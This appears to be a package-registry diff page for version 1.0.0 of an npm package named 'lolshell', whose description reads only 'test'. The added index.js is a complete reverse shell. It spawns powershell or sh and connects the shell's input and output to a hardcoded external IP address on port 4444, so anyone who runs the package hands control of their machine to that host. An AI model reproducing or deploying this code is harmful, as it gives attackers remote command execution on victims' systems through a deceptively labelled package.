lolshell 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +69 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ const net = require('net');
2
+ const { spawn } = require('child_process');
3
+
4
+ // Function to send data from socket to process stdin
5
+ function socketToProcess(socket, process) {
6
+ socket.on('data', (data) => {
7
+ process.stdin.write(data);
8
+ });
9
+ }
10
+
11
+ // Function to send data from process stdout to socket
12
+ function processToSocket(socket, process) {
13
+ process.stdout.on('data', (data) => {
14
+ socket.write(data);
15
+ });
16
+ }
17
+
18
+ // Create a new TCP socket
19
+ const socket = new net.Socket();
20
+
21
+ // Determine the shell based on the operating system
22
+ let shellCommand;
23
+ switch (process.platform) {
24
+ case 'win32':
25
+ shellCommand = 'powershell.exe';
26
+ break;
27
+ case 'linux':
28
+ shellCommand = 'sh';
29
+ break;
30
+ case 'darwin':
31
+ shellCommand = 'sh';
32
+ break;
33
+ default:
34
+ console.error('Unsupported operating system');
35
+ process.exit(1);
36
+ }
37
+
38
+ // Spawn a new shell process
39
+ const shell = spawn(shellCommand, ['-c', '-']);
40
+
41
+ // Set up bidirectional communication between socket and process
42
+ socketToProcess(socket, shell);
43
+ processToSocket(socket, shell);
44
+
45
+ // Handle process exit
46
+ shell.on('exit', (code, signal) => {
47
+ console.log(`Shell process exited with code ${code} and signal ${signal}`);
48
+ socket.end(); // Close the socket when the process exits
49
+ });
50
+
51
+ // Handle process errors
52
+ shell.on('error', (err) => {
53
+ console.error('Shell process error:', err);
54
+ });
55
+
56
+ // Connect to the server
57
+ socket.connect(4444, '13.232.31.123', () => {
58
+ console.log('Connected to the server');
59
+ });
60
+
61
+ // Handle socket errors
62
+ socket.on('error', (err) => {
63
+ console.error('Socket error:', err);
64
+ });
65
+
66
+ // Handle socket close
67
+ socket.on('close', () => {
68
+ console.log('Connection closed');
69
+ });
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "lolshell",
3
+ "version": "1.0.0",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "keywords": [
7
+ "lolshell"
8
+ ],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "scripts": {
12
+ "start": "node index.js"
13
+ },
14
+ "bin": {
15
+ "lolshell": "./index.js"
16
+ }
17
+ }